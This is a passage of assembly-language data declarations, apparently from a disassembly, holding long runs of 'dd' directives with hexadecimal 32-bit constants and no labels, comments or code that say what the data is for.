		dd 0FB2926DBh, 70A408Fh, 1BD500DFh, 6283D19Ch, 31534F0Bh
		dd 84F4F8CEh, 87E7A6DAh, 6227C902h, 0E8C31CBDh,	1EC8BDC1h
		dd 0BC895928h, 2AD467C9h, 55EE107Bh, 764C5A3Bh,	97EBA7F8h
		dd 983E6B69h, 0CC39FDE7h, 11DDFC4Ch, 31E1E7C2h,	3E4099B7h
		dd 1993E36Ah, 0EB146DE6h, 740BD425h, 28562FBCh,	0F2E4E88Eh
		dd 657E34E8h, 7FE68E4Bh, 0D10D0917h, 0B16529C7h, 644A5F12h
		dd 0D221834Fh, 864265C7h, 0BC4F6D3h, 73B5C0D1h,	7438E64Ah
		dd 6186504Dh, 2D19F8Ch,	5BD088A6h, 474919B1h, 7EC662D7h
		dd 2C7F4E05h, 59F48EE4h, 25FADB98h, 3E562DBDh, 86BD6C7h
		dd 9806440Ah, 7E3F29F7h, 964A2D9Fh, 0FA2530DAh,	2A718716h
		dd 0BD42EEC2h, 33376FA4h, 1F1EE8B6h, 0D6F83C18h, 1A966129h
		dd 0C3AECE1Ah, 5CF6B651h, 0D09707E0h, 0D9E68C10h, 8C3DEC3Ch
		dd 8907D5A4h, 0B2A6CA6Eh, 8E53FB0Eh, 523F1AF9h,	46C80442h
		dd 906A6BE1h, 0D6A6A1B3h, 0BF75C1Dh, 1FA9EF3h, 476F99A2h
		dd 19242645h, 0DAEA44DDh, 1F3CFFB4h, 69059B4Dh,	46036769h
		dd 42269E9Eh, 0E3628B96h, 3345D317h, 4690ADE5h,	59EDFAB6h
		dd 7E80B517h, 4E013568h, 0D7E70D1Fh, 456F99Ah, 0E49DB539h
		dd 6BF4217Dh, 859E993Ch, 3EE1CE30h, 0C797AAEDh,	5426B19Ch
		dd 5238DC4Ah, 0DD082444h, 6D89CF55h, 0AB02E32Bh, 55CB85B6h
		dd 66BC6ED6h, 3F766E53h, 7A821132h, 51DEFB68h, 9058DC2Ah
		dd 12F1E645h, 0F1CFA665h, 314DA199h, 25AA9DBEh,	902DC27Eh
		dd 0E927BD18h, 76872160h, 27A2ECD2h, 0B5BF4F76h, 3B6E6B2Bh
		dd 0ECDCB11h, 9B110AD9h, 0E142C4ADh, 6BD75F00h,	63728CDDh
		dd 0F9D7D6EEh, 28834C97h, 3A6D884Dh, 0C24C6B38h, 75026880h
		dd 6EB530E0h, 8A7F08E8h, 366DE993h, 1C19A202h, 170933EFh
		dd 61BA315Dh, 6FE4CEA1h, 0B4968485h, 96BF7DD6h,	0A4E17AF8h
		dd 15F38BFBh, 0FB97410Ch, 34349B70h, 0B67987Eh,	8738E14h
		dd 0EC4541C7h, 67C95CD8h, 694021D1h, 13547C12h,	2D41CE24h
		dd 0CD8A0B8Bh, 0C5F2EB98h, 36F758EDh, 373C9F6Fh, 0D25C8BC1h
		dd 0D203FB10h, 82A8BFB1h, 8CA1F69Bh, 8A608566h,	0B5897E2h
		dd 37E3CB38h, 8CAA8E58h, 0D6FFEF66h, 0CC813388h, 8F7B9F69h
		dd 0B6ACC653h, 0E42EA1C7h, 6DD0590Dh, 0E28E6378h, 178DE1F4h
		dd 813C4EF6h, 1ECCDE7Fh, 1625D567h, 4D601B69h, 0FE50A1A5h
		dd 50AAC018h, 905B45BDh, 885D44B9h, 0E5E579E5h,	97BDBDD6h
		dd 6B17B426h, 94A04E88h, 635370ADh, 0F3F33EEh, 0CB14BDE4h
		dd 9AAD45E8h, 0BC332D04h, 0B845DB8Dh, 248DE486h, 0DBAB46B6h
		dd 8ADBB5F4h, 959FEAC9h, 8471708Bh, 0DAB68916h,	3C36FE90h
		dd 0C8620BE8h, 0F6470367h, 81C9883h, 46802D0Dh,	0DF74D07h
		dd 0E3B1EC08h, 0DBE44DB6h, 9B2156F4h, 0CD646563h, 0CBC8F897h
		dd 905C8DEDh, 2948517Ah, 6D0445B3h, 4ECAA6F1h, 5A88CBE2h
		dd 21A59BB4h, 0ED34F79h, 7CFD5B0Dh, 0B3097250h,	92C662A9h
		dd 48BE08A0h, 7B6E155h,	0BE9B7E05h, 4D5D1989h, 3C550D4Ah
		dd 1D7FC34Dh, 675FAFA5h, 0FC068FC9h, 0FFE91FAAh, 0F8F8819Ch
		dd 32BC4BECh, 90286CFFh, 0E1EB6D64h, 25DD5E7Eh,	3D0ACE7Ch
		dd 36F49E04h, 8A9EBE52h, 70363DBFh, 31ED4EACh, 86304E4Dh
		dd 4B05B9C0h, 914526A4h, 1F9BE843h, 79D3E41Bh, 0A20549B1h
		dd 6B38043Dh, 0B3BA997h, 3673BD42h, 711F437Eh, 3FC560CBh
		dd 0ED54D7FCh, 2E211A27h, 6A0513A8h, 204FECE0h,	95D80EB0h
		dd 0AC97BBA3h, 9DEB4962h, 0F7A7BC08h, 58D9D4FBh, 6C7827EBh
		dd 0C0E0DB86h, 53A8815Dh, 330FC21Dh, 0B04A7F12h, 252E981Fh
		dd 9D5A8C6h, 1286FC11h,	0CD8EC407h, 64185448h, 0AD940EE4h
		dd 0E9836792h, 26EAED40h, 3B7CD2B2h, 0DEA256C1h, 58A6A414h
		dd 0EFF79DFh, 843C6797h, 33C5FDC2h, 55F5EF23h, 0BACD46EEh
		dd 11AFF0D8h, 0D9C612CEh, 18D39E16h, 0D9407E5Ah, 578F140Eh
		dd 5CD87DE5h, 0A294CAA2h, 1607B9FAh, 0DA4062ADh, 91E7F296h
		dd 0A87C0337h, 8D9A1BEEh, 35DF4A82h, 2003074Dh,	0AC5F6790h
		dd 570F2E59h, 776C628h,	50FDE714h, 35B1A688h, 0EB510AA7h
		dd 59CBBC14h, 0EF68B3C7h, 8B29CF5Ah, 244D097h, 0BF597BD1h
		dd 3D9DF637h, 0B07F7B72h, 8E9C560Bh, 1F1F1A2Ah,	0C1AB0B59h
		dd 2FA93E64h, 80984916h, 5625C30Dh, 7DD63085h, 3C558D36h
		dd 64241E11h, 90BB273Ah, 0A47A5213h, 38A62810h,	1A8CE2E0h
		dd 0E9867AB5h, 36FCAF47h, 0BC1FB0CDh, 0D98F54C2h, 931FC405h
		dd 0CD23DBB8h, 3D2B24E1h, 99124D73h, 5A83B730h,	4282625Bh
		dd 29567B94h, 0DF3155A8h, 0C7F372A2h, 0AA137A45h, 995F0B32h
		dd 34000769h, 3A48D07Eh, 0BC7CC903h, 4A8092F9h,	45D1C6DBh
		dd 88FB65Dh, 6E826EEAh,	0BE31E665h, 0BDCE9AA4h,	0E53A34D2h
		dd 0F626A5AEh, 92870D22h, 415278AEh, 365D345Fh,	0CA326ABh
		dd 3E50CDEAh, 3BBE2E1Fh, 658D09A0h, 0F1D5C086h,	351E8774h
		dd 8146DB1Ah, 0BE61139Fh, 8AFD033Ah, 0BCC22CCAh, 3F9BCCA8h
		dd 43E5F28Eh, 40046C97h, 1EAD326Fh, 529B676h, 3E116F56h
		dd 0BEA38191h, 0CCC77FF4h, 59B620ABh, 0BC9951D6h, 0D268574Dh
		dd 8020AED9h, 0B38E498Fh, 0EF008C44h, 0AA7B71FFh, 0C824AB4Bh
		dd 0A22474F1h, 19456D4Ah, 5F0E6DCBh, 97F26696h,	479ADD33h
		dd 0ADF08141h, 44B6E80Ch, 0F1205E1Eh, 5A887CF6h, 0AF9FB949h
		dd 0D141C3B5h, 0FEE4CB83h, 114B490Ch, 38CAB906h, 0ECFDEA83h
		dd 59AF016Eh, 0B06C4E1Ah, 664087C8h, 0CC834DA5h, 33AE1CD6h
		dd 0B7F33BB6h, 7187EB1Ah, 0BF3E937Fh, 396D4A86h, 5D9D8E67h
		dd 0C72E55C4h, 0E8BA6115h, 0A7ABB15Ch, 19313978h, 0D7D55165h
		dd 5348736Dh, 4B00102Dh, 27DE3332h, 6F1872Ch, 0F6BC7CACh
		dd 86B81BEEh, 258A53D4h, 1B0B610Eh, 88AE4D64h, 0C250C049h
		dd 0DFD2FE30h, 0E3A36Eh, 9C409465h, 0A57092E4h,	79BDBB6h
		dd 0BB358469h, 0FFAA5F49h, 4E633CE3h, 51583959h, 0BE595255h
		dd 0ABCF4E8Eh, 9D83DF06h, 0D6EFBC12h, 583535Eh,	0C84EDAB8h
		dd 0AE9A9DEDh, 0F4A6BF95h, 319386A3h, 1EF172D1h, 0C2D10A18h
		dd 230944Bh, 617AAFE8h,	4B72155Eh, 809C1BF3h, 41CC75AFh
		dd 7ED90C4Dh, 1C6196FAh, 8D5012E2h, 973EECD6h, 90CCF01Ch
		dd 0A13495DCh, 974D3836h, 6FDB91F1h, 7D5A971h, 473D0F68h
		dd 783DBA1Fh, 3FC2E02Ch, 55CEF08Bh, 59635074h, 0F90798CAh
		dd 0D4C7DA3Bh, 4B47DEF5h
		dd 0A3521612h, 90953F0h, 8B29A30h, 3F3554ACh, 0C00DE2C2h
		dd 0E337B2E5h, 0E62D805Ah, 6DFFD385h, 0F619D4FAh, 0BF3BE483h
		dd 0D01240CEh, 0D3E34742h, 0C68F5B58h, 85CA36C9h, 49F2B70Dh
		dd 0F13DEE37h, 94441A6Ch, 7A23C6EDh, 55BF24B9h,	8ADCF714h
		dd 58265086h, 0D3287FEFh, 48E04D2Ah, 2F109210h,	3C19CB09h
		dd 308E8808h, 913AEF34h, 6F597AEh, 0C8BF1F36h, 20B5495Dh
		dd 355CD34Dh, 0B152F3D9h, 0D744E5F9h, 0B1211136h, 945B4262h
		dd 112B288Ch, 0A729E77Dh, 0F4845C96h, 0A32B74BFh, 0F84EAA68h
		dd 2A16EE20h, 0D1F2CFE2h, 4770E0E5h, 0D6F0AD0h,	6B30E668h
		dd 0F79E7AE1h, 0C3FD2BE1h, 0F8AF824Fh, 9A82590h, 38692E06h
		dd 3E819148h, 18E0D13h,	0D517B093h, 679227A1h, 0B72E1309h
		dd 98A43E58h, 5DCCBFB2h, 9625C410h, 9063816h, 61D3130Bh
		dd 5DB5ACE6h, 0C200E93Fh, 4C01CB0Fh, 0BAD525D9h, 6CDC0673h
		dd 0E3CD025h, 22E33B63h, 0DA5340A4h, 6F7BAC9h, 0EE6A997h
		dd 0E9E262B3h, 0C7A25C19h, 69817984h, 0B9D6C484h, 18FB4C43h
		dd 6BE0ED27h, 0D4A3B0Eh, 16B4A1ABh, 0B5E7BADAh,	92A55AC3h
		dd 4A257552h, 95EA73A6h, 7F987901h, 93A5C2F3h, 0C1587832h
		dd 0DFEE88F6h, 0BA2C3947h, 0C963E5FFh, 8FF82860h, 6F1200C7h
		dd 16BC6717h, 69B662ECh, 0E01FC01Eh, 95FC651h, 0BBAE110Ch
		dd 8FE4C8A8h, 0EDA2F6A1h, 0C35BA1BAh, 0FFDE4B3Eh, 35476D11h
		dd 43965C04h, 2752349Ah, 0DC82480Fh, 6078AFD5h,	0CCB4F6CDh
		dd 0A67CB1BBh, 0C4CC938Bh, 86876AB9h, 9265593Dh, 0BAB609F3h
		dd 0D4D8650h, 0D0F36ED7h, 0F26F804Eh, 0F621465h, 5D7BBF8Bh
		dd 0A8EC33ABh, 453F9BF1h, 340A2C7Ah, 3449C385h,	78CD46E1h
		dd 0ABBDA336h, 0B363F5FEh, 0CE6D9A9Fh, 0CA16E3B5h, 0F63510Eh
		dd 0AE85DE2Ch, 3D90438Eh, 2C6D7520h, 17E063C8h,	0C9DC5783h
		dd 67CE26ECh, 43AC7928h, 0A2AF6D2h, 0B859637Fh,	4A45C895h
		dd 0BBD22AF0h, 3108791Ch, 1788599h, 0D5779CA8h,	0BC68D6E2h
		dd 83289C18h, 2001E8B8h, 0CC8909ADh, 9FB238ABh,	34526D11h
		dd 0AD465602h, 0A4E581B7h, 0D5F4E6DCh, 69313A5Ch, 8234683Eh
		dd 5EF3EC5Ch, 0BD4EAA0h, 424013E7h, 1BA74D63h, 6EC2F142h
		dd 2763EDE6h, 859B832Bh, 0D6E1C76h, 0D95CA004h,	0DA24DA90h
		dd 0ED9BA16Eh, 9C202CCh, 6D6FC6FCh, 53681DE7h, 6F010AADh
		dd 64AEF459h, 84C5D02Bh, 2E592A33h, 1B7D7E2Fh, 568E2904h
		dd 0C8CDE668h, 9C148346h, 0CB537C06h, 0CC18544h, 940627F1h
		dd 21E2FE19h, 4559CB3Bh, 9C278C64h, 261236C1h, 0E265F84Ah
		dd 8BA9F169h, 0D1862B15h, 7DBB91DBh, 4C9649D1h,	829F4D5Dh
		dd 4847C994h, 0E49F2E15h, 35A3FD75h, 81B3CF00h,	2E231917h
		dd 0DB8CFCE8h, 0C0C71B85h, 2950249Ch, 0F7FA3007h, 66C88E2Eh
		dd 0F30776Eh, 0EF5CF966h, 0D4E7E62Fh, 0FF4675F6h, 5910EFA7h
		dd 0C8E8FDEh, 3DAAB0A2h, 0C2C20CE9h, 432EA53h, 4A81A5C3h
		dd 0EB20CED0h, 8A5A73Bh, 7722E368h, 627F8E69h, 0A9C91E7h
		dd 46027762h, 6BD36C54h, 8B283866h, 30802B8h, 0D6484758h
		dd 0E9CE678Ah, 0DB5ABA56h, 0BB1DE74Ch, 6AA5F521h, 0D3E62344h
		dd 7D13BB19h, 0F80834A4h, 0D89CA24h, 74DCFC50h,	1930F7C7h
		dd 0CA84078Ch, 0E71A5EEDh, 0E09AB196h, 6FAF7D2Ch, 92767783h
		dd 1760FC80h, 0BFCD58E8h, 2FBBB22h, 0EBCA01DDh,	55FB14C2h
		dd 29F62451h, 0A3FFAFC2h, 2E6BFAE1h, 0D5AD89B9h, 0C20EC56Ch
		dd 0FC3DAA5Fh, 5D1FCA6Ch, 0D09419CAh, 7C420D0Bh, 0BEEAAF1Ch
		dd 90257FF9h, 17BE09D7h, 909153C6h, 3980CDFEh, 0DE207E6Eh
		dd 0A4F5EA6Ch, 62E550FDh, 0C948A4B1h, 49A2C06Eh, 0D2946210h
		dd 0E5BA4DE3h, 64728B74h, 7B21DDEAh, 3A95251Bh,	205E15D8h
		dd 0CDC44618h, 9C197021h, 2CBD55C0h, 7C7F2498h,	0F52061B1h
		dd 0D5568D02h, 0C21EA324h, 1A2B9B90h, 0BF6C118Ah, 0E828755Ch
		dd 442B3E6Ah, 0B533982Ah, 74318CE2h, 0D5CA2576h, 41274C58h
		dd 211F0C18h, 0BFF14CE5h, 844DB601h, 0E0969CB9h, 5DEE99F6h
		dd 0FAF9525Dh, 796ABC39h, 6E0F2A24h, 30671DD0h,	7595E0E5h
		dd 61D35238h, 4F8EB118h, 578E4544h, 58C869A6h, 5FD08DD9h
		dd 0A135BAA3h, 4F3FF65Ah, 1B591DE7h, 0E4CDD71Bh, 3475351Ah
		dd 0EC48D223h, 16F214F6h, 4BBB12DAh, 9FD0E9FAh,	6B11F4Ah
		dd 3B400E04h, 2D090836h, 5ACF3AAFh, 9AC51731h, 0F41ADF95h
		dd 39F819FFh, 61005B6Dh, 72512E0Ah, 774C6B0Ch, 28BE2807h
		dd 6ED04282h, 6595AF7Eh, 2A2B8FE1h, 9F6D96BAh, 3667A5B7h
		dd 82759E0Ah, 5764E0FEh, 8F0ACF56h, 0BD315DFFh,	0F2D051FBh
		dd 1FCF883Ch, 5AEFF0C3h, 0AF01C0D7h, 7483F802h,	0C30EFD90h
		dd 1E6F0902h, 9D2EBF53h, 3061A062h, 0C5849DA5h,	114B1685h
		dd 8F4EDC7h, 30B2D261h,	0D1DF9889h, 27BFD717h, 0F4D84AB5h
		dd 0A7013D42h, 0B79AAF82h, 112B6E17h, 0C5A40B66h, 26AAF74Ch
		dd 6EB0E5ABh, 0D7D95761h, 1E4FAFEDh, 328E155Dh,	0BF10DE98h
		dd 0E2F26CABh, 4CDCCA78h, 0BFEA00FCh, 0D495D3CEh, 2CE62C00h
		dd 0C934836Ah, 9E630E0Ah, 0B7D1852h, 28789242h,	0F46FD733h
		dd 7ED36AA8h, 67B69C4Bh, 5286811Eh, 0D4817426h,	0CB2F400Dh
		dd 3983C323h, 9BDC384Eh, 0A7BFF100h, 2B9D6470h,	52889305h
		dd 6EB1FCE9h, 47C8A18Bh, 2A8DDE3h, 4483A947h, 3E3A4BF3h
		dd 0D7C2B9FFh, 0E45BDEDAh, 905F5FB9h, 0B483AD2Ah, 691E3D4Bh
		dd 9DC28B66h, 67FB01D6h, 367B3B88h, 0A32C33F6h,	0F4B13666h
		dd 0E214074Eh, 492E39h,	0CEE7AEF0h, 1342E63Eh, 0FE827AD7h
		dd 0A17E5568h, 97DAE0BFh, 0FDC819F9h, 70D3DF46h, 0E9F5D51Eh
		dd 0CFCC6D56h, 832D3721h, 4078ACB7h, 20258CA2h,	8235F7DBh
		dd 82A8443h, 6C1DDF25h,	0B9ED2F3Ch, 912E204Ah, 0BC9964EAh
		dd 0FC40B458h, 0F672E83Eh, 3C7BA48Bh, 78D07F89h, 0D36EE038h
		dd 814CE10Bh, 7EB6D599h, 0B79D3D88h, 0C7CEFCC3h, 0A4E06A7Fh
		dd 0F24AECB2h, 0EAEAF2BEh, 7775AED4h, 5256B10Ah, 91631036h
		dd 95C36537h, 0AE6E7EA6h, 0A6D46C5Fh, 25DF7484h, 1BF9DB9Bh
		dd 91C5771Bh, 0EAC1A740h, 3B7D1510h, 0DFA9B8F2h, 9A6B994Eh
		dd 2183D30Fh, 0BB05CABh, 0FC014CBCh, 7B7B73DEh,	41529C8h
		dd 753373F4h, 2C3CDB37h, 419517EDh, 0DEDAA10h, 654A5F2Dh
		dd 2ED83965h, 0A558B25Bh, 0F7874512h, 1681EE6Dh, 74A8298Fh
		dd 738445CFh, 0C4F8AECCh, 0AD6C1966h, 82075B6Dh, 8D2F9CE3h
		dd 0A78737FEh, 507BF4F6h, 986C82Eh, 0AF24F09h, 178C2829h
		dd 635DD3C8h, 0DBBA2744h, 3B927A8Eh, 0F4442443h, 0C170C648h
		dd 35697672h, 0B5AA3AD6h, 84DE6129h, 512E7A45h,	2F3940E1h
		dd 0C2D7B597h, 0A52C4AFCh, 0C7531CFCh, 0D7AD1401h, 0DFF710F2h
		dd 0B68F4587h, 326C3A4Fh, 0D9E0F065h, 0CB5C4478h, 0B17ECEF5h
		dd 0EE54D939h, 47B52D88h, 0F72F2DA2h, 55BAE48h,	5AC9D0E4h
		dd 93D691CDh, 8BEA6EFFh, 650714B5h, 0D528E732h,	73A8FE2h
		dd 520918A0h, 667EF9BBh, 20C8FE97h, 0B733D0E4h,	51387CB3h
		dd 0C6E58D87h, 0D24E484h, 9EBE6393h, 245BFEC0h,	0E9157594h
		dd 0EC9228B8h, 0F8710457h, 1ABF66E6h, 24CBAAA4h, 0E15DBB21h
		dd 0CF67B7FCh, 0A6DAC513h, 0C39AACFAh, 605CFE8Bh, 112B6D6Bh
		dd 60A6027h, 3D186C07h,	64D85E8Bh, 6F6BAD8Ch, 0C4F61C7Fh
		dd 8DCC9A6Ah, 0BAB29B47h, 1CEFC382h, 37D1ECB3h,	9B0E96B5h
		dd 0EA90A329h, 45015D2Bh
		dd 103CCC6Dh, 58E32A31h, 8313BBFh, 6BE56C8h, 117C7645h
		dd 9F32B14Bh, 600EE53Ah, 0E10D5BECh, 7B8509B3h,	0D8C3DF4h
		dd 1A9A216Fh, 80BF790h,	540211ABh, 0D0C7DDBFh, 0DC8BD9EFh
		dd 1CCC01AAh, 3564A73Eh, 7A774662h, 0A4AE76AFh,	3F5FD568h
		dd 0F43C4CF1h, 91745491h, 5C3F793Ch, 0A9C39F86h, 13EF58B4h
		dd 0BDF93DE5h, 6778E2A8h, 3344892Eh, 2D5BE561h,	7AA1AA34h
		dd 141BE829h, 0B9EBA368h, 5340DADh, 33A09076h, 410A9FB9h
		dd 0F5384D11h, 0D896235Bh, 855C3FE5h, 5B81C47Bh, 0DF654A40h
		dd 945DD9F6h, 0A74EC345h, 893E8EDAh, 0C34BE755h, 5D5ED725h
		dd 27B06F51h, 16F3B7Ah,	0B958529Dh, 0D56CDAC0h,	60F87E19h
		dd 51BF2A6Eh, 0E527B13Eh, 97E64C1h, 0CA32DB51h,	1D394BCBh
		dd 970EB3E1h, 0A0114AEh, 0C33FC9E4h, 3BC9BE7Eh,	30FCAF89h
		dd 82146E9Fh, 0EE2DD1DAh, 0E2A77329h, 127223E6h, 2D4153B3h
		dd 83834805h, 78F3A857h, 0EC6E1FE6h, 7CA04E14h,	524BBBE2h
		dd 0C1034526h, 0EF33C53Ch, 0CDAB80A2h, 49070E16h, 63B7AB5h
		dd 9B4FC03Ch, 8C47417Eh, 0C9F6EA5Eh, 0B5016CFh,	0DB5147ABh
		dd 11BCA0B2h, 341BEC81h, 0B3F9E5F0h, 71CCD767h,	0BFC711D3h
		dd 512D334Fh, 746850AEh, 0B3B97D1Dh, 89470A26h,	67AC780h
		dd 57C5B796h, 5D5F5644h, 98F11E9Ah, 0E0286E91h,	0F495FEFBh
		dd 3027355Eh, 0A58D4C21h, 51305B36h, 0C13B9D73h, 0F8C532E2h
		dd 2F740801h, 0C07B1C43h, 0D61FF7ABh, 180584BEh, 0BD3749BDh
		dd 24ADCB92h, 57372D88h, 48860DD1h, 0F8561BCEh,	7382E3F8h
		dd 9A9562B5h, 5AA7F181h, 0EF1F26EBh, 3BD8A49Ah,	94937413h
		dd 0F626669Fh, 628EB05Ah, 5EA65746h, 7EB2CC1Ah,	0F8694EFFh
		dd 40D0EB6Ch, 16A5B0FBh, 0EC7D910Eh, 0E5AF8612h, 40FCA9DBh
		dd 639EBFC0h, 7E684F57h, 5C62E236h, 0E392AB8Fh,	6234CB8Fh
		dd 0FBE122F7h, 0E0880540h, 37BBFE82h, 51D75A41h, 26F162ADh
		dd 391B1D50h, 844D273Dh, 517DB9Dh, 115C89E9h, 5671A67Dh
		dd 46426A26h, 0A8047585h, 1054F3Ch, 0F6F14708h,	0F25284A7h
		dd 89B7AD41h, 539286F3h, 0FCE3E2AEh, 0E4CB18BAh, 76928AC3h
		dd 0E70733F0h, 0AF8A3DCh, 0F4DCC4B4h, 8868925h,	4F79F7C9h
		dd 7F5BFE71h, 7074518Ah, 3BB4CE0Dh, 0FA584CDAh,	7939F720h
		dd 19586143h, 9A40754h,	4C6C9C63h, 79D3F3CEh, 64E87A49h
		dd 4E02715Ch, 3A3B477h,	0AC4C83E5h, 25199085h, 0C7A04C95h
		dd 8F8888E9h, 0A86655E4h, 4B64D23Fh, 0A6BDCD97h, 0A4226B0Eh
		dd 0C614108Eh, 2427B803h, 0C4258ACh, 0A652C4CEh, 0F5B2D9E9h
		dd 781BEAAAh, 4850FEDFh, 2D1E6D44h, 0C00DD234h,	5DCC938h
		dd 0B093228Ch, 9BA7702Eh, 2DA95BA5h, 22CF7C3Bh,	0DC922652h
		dd 97FBC65Ah, 5853B468h, 33598064h, 785D0857h, 533E2B9Dh
		dd 0D7121251h, 13BDDB15h, 0EB03694Ah, 2E1B7055h, 0CB690861h
		dd 0C078D48Eh, 0B6BC4EF5h, 62438DC0h, 0F61AA3FDh, 0BBB55582h
		dd 0D87D8CFAh, 301F2F8Eh, 0D696E53Fh, 0E428C7Fh, 847AFEDFh
		dd 0D42CC3E1h, 0DE2A4A10h, 9D933F7Ah, 232DA851h, 0A959702Dh
		dd 0E71BA919h, 2C2061E0h, 4CE4BB3Ah, 92134ABEh,	0A642F408h
		dd 14F3B9Bh, 0F6195A54h, 9197525h, 0C975BA31h, 556633ADh
		dd 0D880D62Ch, 3CFA0FF2h, 9F4A2542h, 0E1598D4Bh, 0F9204BBFh
		dd 42AF49FFh, 0A7DC1E99h, 1211965Dh, 0B9A329DEh, 4BF01D70h
		dd 0C3CB29Ch, 0D6FD13E3h, 897E36A7h, 0B3968F6Fh, 202096C9h
		dd 0A12D8B71h, 1B5DC8Ch, 0A5813148h, 7CBBFF2Ch,	32938C4h
		dd 3BE02088h, 0D8BFD7DAh, 6E13C040h, 0B11DE282h, 0A01D4B7Fh
		dd 0A7320740h, 0F436092Dh, 0DEDE74E7h, 456E4F14h, 875619C5h
		dd 23FE0104h, 9BFE8353h, 4CA37A84h, 0EC494637h,	62BCA849h
		dd 6F8F85Eh, 107E8948h,	6E4767E3h, 4227D7EEh, 4C539820h
		dd 9DF4D75h, 0CF2FE557h, 7D730C75h, 0C8C7A50Ah,	0FD000E65h
		dd 0B3F00EE1h, 3B48A56Bh, 463CE966h, 0A3883FF7h, 151E9065h
		dd 60AC7508h, 5388895Ah, 0EFD1F65Bh, 1987D724h,	355B734Dh
		dd 58BB4DE9h, 0E9290E9Ah, 0E752E03Dh, 70AC3A89h, 0E0A7E3EFh
		dd 29ABE817h, 0C81CEDC7h, 243A18CEh, 0C4557C53h, 704DA603h
		dd 0A73EC5CDh, 8AA123ABh, 6D0CF289h, 8691A14Ch,	42F277A0h
		dd 5B0BE623h, 64D4CDB6h, 48F899F8h, 82B548B4h, 257E062h
		dd 0FEF0BD61h, 2A663FACh, 0C2742082h, 9F5A271Dh, 4338D362h
		dd 63AA2EE6h, 3FEC19F9h, 7B2F3F5Bh, 98A07525h, 11EC61Ah
		dd 7F4E6EC7h, 3C7EDEC6h, 54442407h, 1EFEE63Eh, 1E5262Eh
		dd 6C4B1208h, 891E3E59h, 740B5D8Ch, 54CF3061h, 19AFB68Bh
		dd 0CAA6A956h, 0A22B92C2h, 739680E4h, 6F6B6D8Dh, 0CDE93365h
		dd 0C5F5F973h, 0A52883Dh, 304CC44Dh, 1EA74996h,	98884124h
		dd 9FB17562h, 86886B9Eh, 0B1B4DEC1h, 20D0920Bh,	404A3370h
		dd 3499986Dh, 0CB1863ACh, 8B8579ABh, 300273A0h,	7D28B9FCh
		dd 29FD563Ah, 6C34BA06h, 7E2BED07h, 27E8BC68h, 0F376EC5Bh
		dd 0D8DF09E1h, 0BD925A04h, 0B85FF578h, 0D15052ADh, 0DA24E811h
		dd 5C1932B3h, 8F46E47Ah, 9EA90308h, 0BA871F0Bh,	534F0464h
		dd 0C66671AAh, 9EEC268Ah, 49DE740Ch, 0B5019845h, 8BEFF964h
		dd 7761716Bh, 9B793834h, 726C9653h, 0BBB3010h, 0A5BC9C87h
		dd 6D20200Fh, 0F42AD638h, 357AD9ACh, 50AA43CFh,	14166E8Ch
		dd 383A151Eh, 6F2B0E1Ch, 2962C862h, 81CD3ADCh, 5AFFAD8Fh
		dd 0D7AC54ABh, 0CCEBAC62h, 925D9D97h, 0E7D8FCA8h, 0E5938362h
		dd 95E0CD06h, 0CB600056h, 4A80D2E1h, 0E84F1499h, 86D748FAh
		dd 238B1B76h, 19DE65EBh, 8F4E675Dh, 0D2E6DA20h,	5496D2D9h
		dd 0D85F2A65h, 0ACEF6682h, 72E0D626h, 9AF71A6h,	3832757Eh
		dd 0E2B995E6h, 63D04FA8h, 54CC3A7Ch, 675302D0h,	7CEA6925h
		dd 0AF421597h, 0D9F63653h, 2197E13Bh, 2D13A20Ah, 6F5BA0Dh
		dd 1C60B274h, 79962A48h, 0E0014AF7h, 7FB7D47Eh,	57973B16h
		dd 9197E1C9h, 761B33D4h, 43A948BAh, 0AED3FFC9h,	0C860F2C3h
		dd 75590D4Eh, 0FB8ACE6Fh, 6ADBC747h, 0B59CB904h, 0D4210F5Ch
		dd 0C46D9FCCh, 0F156D1C9h, 84E23356h, 5AC74AB3h, 23F01C39h
		dd 0D190CE79h, 14998948h, 78596067h, 0C642BEEAh, 91797B80h
		dd 0F91141CFh, 3712B86h, 0D79B978Eh, 0B5FC3CBFh, 6212617Dh
		dd 770E4D7Ch, 0CD1AC7CAh, 53043B9Fh, 3AC7E742h,	1CAB3F21h
		dd 0A1114E50h, 3943B222h, 0C3500BB0h, 12E9FE23h, 577B5435h
		dd 6499D412h, 39781332h, 0FBD10E01h, 3F59C797h,	203396A0h
		dd 1CE7F237h, 0A6B98174h, 0AFC9D93Ah, 0C66EFCE6h, 40731FDCh
		dd 0E4AD3C52h, 4985F8A4h, 12B6A8C1h, 5E0ED3A6h,	6ABD0193h
		dd 316128DFh, 9648169Ah, 4DA8075Fh, 0CC740CF6h,	695CFC6Eh
		dd 0CB137840h, 0AFA7B1A9h, 0D16EA728h, 269D9207h, 4754D625h
		dd 0F440A88Fh, 0CD7CA2C6h, 94EB0F5Dh, 3E17D3D0h, 0E4D618D6h
		dd 0B3526893h, 0AFDFC573h, 577E40F7h, 0CF98D05Fh, 89DB2014h
		dd 0B66BF6A0h, 8FA10F85h, 0FA6C388Ah, 0FD0B9F4Bh, 0C5AF0188h
		dd 0B103AFFDh, 748B4E06h, 85E02B3Dh, 8472CDFh, 0CAE3125Eh
		dd 21CC7D1Eh, 5740CCFAh, 48DCF73Eh, 56E97760h, 0FC9EA28Dh
		dd 0B5FCA9A9h, 0C14DD436h, 50CCDDA5h, 8ADF6615h, 3869E722h
		dd 0D47C2F42h, 21EC37C2h, 0ECD55BAAh, 0ED0E5BCDh, 0C9CE438h
		dd 2238E061h, 70455426h, 1D0EA070h, 960FF6BEh, 4CE4F354h
		dd 38928BE9h, 7D499C9Bh
		dd 0E7E1FBA4h, 0BFBFA3EDh, 2913926Fh, 201BA612h, 6F88718h
		dd 9FE2EC19h, 5174E73Eh, 0CAEB5548h, 184501BEh,	0FFA978AFh
		dd 5D4BFC20h, 1B1F976Dh, 5D7C2EDDh, 22D0C6A5h, 0C2175A17h
		dd 0AB2D687h, 54897E47h, 0DF677EE7h, 710C62ECh,	7014CC1h
		dd 0D31ABB57h, 4A35D056h, 0A72CA4ACh, 0D592260Ch, 0D2B767A6h
		dd 1A3FCAD3h, 0DAE1CF30h, 2DE7111Ah, 0DD958446h, 3820A69Eh
		dd 94F55585h, 998AF33h,	98556E28h, 0FDF2846h, 86617CF6h
		dd 0D112E5BBh, 0F120656h, 0F2C46F87h, 1B644616h, 0CB316DC4h
		dd 0DEAFDEBDh, 0ECA10872h, 0B6B8F62Dh, 0D4943500h, 7E869CACh
		dd 0BDF18821h, 138FC05Ah, 0F9BEC754h, 0B5D31323h, 55E60320h
		dd 7E0495A0h, 0D1143E8Bh, 7E8456B8h, 0C1187FC1h, 0D6CAD036h
